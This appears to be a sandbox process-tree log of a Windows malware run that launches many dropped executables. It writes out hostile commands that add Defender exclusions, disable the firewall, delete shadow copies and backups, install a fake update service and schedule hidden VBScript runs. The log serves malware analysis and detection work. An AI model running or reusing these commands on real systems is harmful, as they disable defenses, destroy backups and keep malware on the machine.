C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Stop-Process -Force -Id 6736; Start-Sleep -Seconds 3; Remove-Item 'C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe'4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exe"C:\Users\Admin\AppData\Local\Temp\a\a.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "6920" "2356" "2244" "2340" "0" "0" "2360" "0" "0" "0" "0" "0"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\tmpza4yyarl\xena.exeC:\Users\Admin\AppData\Local\Temp\tmpza4yyarl\xena.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\RandomError.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\RandomError.exe"7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\9s07g59jj323w77x.exe"C:\Users\Admin\AppData\Local\Temp\bnd_753196e2\9s07g59jj323w77x.exe"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.exe"C:\Users\Admin\AppData\Local\Temp\a\client.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\a\client.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-5K7BK.tmp\file_73ed34a7752ecb3a.tmp"C:\Users\Admin\AppData\Local\Temp\is-5K7BK.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$40304,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PFTKQ.tmp\Da_L.exe"C:\Users\Admin\AppData\Local\Temp\is-PFTKQ.tmp\Da_L.exe"5⤵
-
C:\ProgramData\JAVAkubernetes_v4\Da_L.exeC:\ProgramData\JAVAkubernetes_v4\Da_L.exe6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\update.exe"C:\Users\Admin\AppData\Local\Temp\a\update.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svc.exe"C:\Users\Admin\AppData\Local\Temp\a\svc.exe"3⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" description WinUpdateHelper "Manages Windows Update helper components"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start WinUpdateHelper4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\desk.exe"C:\Users\Admin\AppData\Local\Temp\a\desk.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exe"C:\Users\Admin\AppData\Local\Temp\a\s.exe"3⤵
-
C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"C:\Program Files\Monero GUI Wallet\monero-wallet-gui.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\app.exe"C:\Users\Admin\AppData\Local\Temp\a\app.exe"3⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\app.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1785616712 "4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\659077232.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\659077232.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\318432396.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\318432396.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exe"C:\Users\Admin\AppData\Local\Temp\a\setup.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0xa4,0x138,0x7ffe2514c728,0x7ffe2514c734,0x7ffe2514c7405⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=1768 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --force-high-res-timeticks=disabled --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2100 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --force-high-res-timeticks=disabled --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2168 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3108 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3128 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3300 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3340 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3432 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome1832241140078" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1784,i,6297265534041346870,5774006199930304150,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4636 /prefetch:15⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4644241144281 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge4644241144281\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x2c8,0x7ffe29c1c188,0x7ffe29c1c194,0x7ffe29c1c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2608 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2576 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2744 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3336 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3312 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3612 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3620 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3740 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3616 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3748 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3792 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3904 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3896 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3936 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4008 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4040 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4416 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3576 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4104 /prefetch:95⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4832 /prefetch:15⤵
-
-
